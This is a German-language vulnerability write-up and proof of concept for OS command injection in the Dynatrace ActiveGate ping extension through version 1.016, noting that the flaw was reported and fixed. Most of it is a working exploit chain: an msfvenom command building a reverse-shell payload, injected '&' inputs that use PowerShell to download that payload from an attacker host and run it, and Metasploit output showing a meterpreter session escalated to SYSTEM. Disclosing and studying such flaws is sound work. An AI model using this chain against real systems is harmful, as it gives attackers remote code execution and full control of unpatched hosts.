
OS-Befehlsinjizierungsschwachstelle in der Dynatrace ActiveGate-Ping-Erweiterung bis 1.016 über eine manipulierte IP-Adresse
"OS-Befehlsinjektions-Schwachstelle in der Dynatrace ActiveGate-Ping-Erweiterung bis 1.016 über manipulierte IP-Adresse"
Im Hintergrund verwendet die Ping-Erweiterung die Windows-Eingabeaufforderung, um den Ping auszuführen. Das Eingabefeld für den Testzielhost ist außerdem 1024 Zeichen lang. Nach der IP-Adresse können Sie zusätzliche Befehle schreiben, die das ActiveGate ausführen soll, einfach durch die Verwendung eines '&'.
An Dynatrace gemeldet und mit diesem Commit behoben: https://github.com/Dynatrace/dynatrace-api/pull/99
RCE-Exploit zum Hinzufügen eines Benutzers:
Lokale Benutzerliste vorher und nachher:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows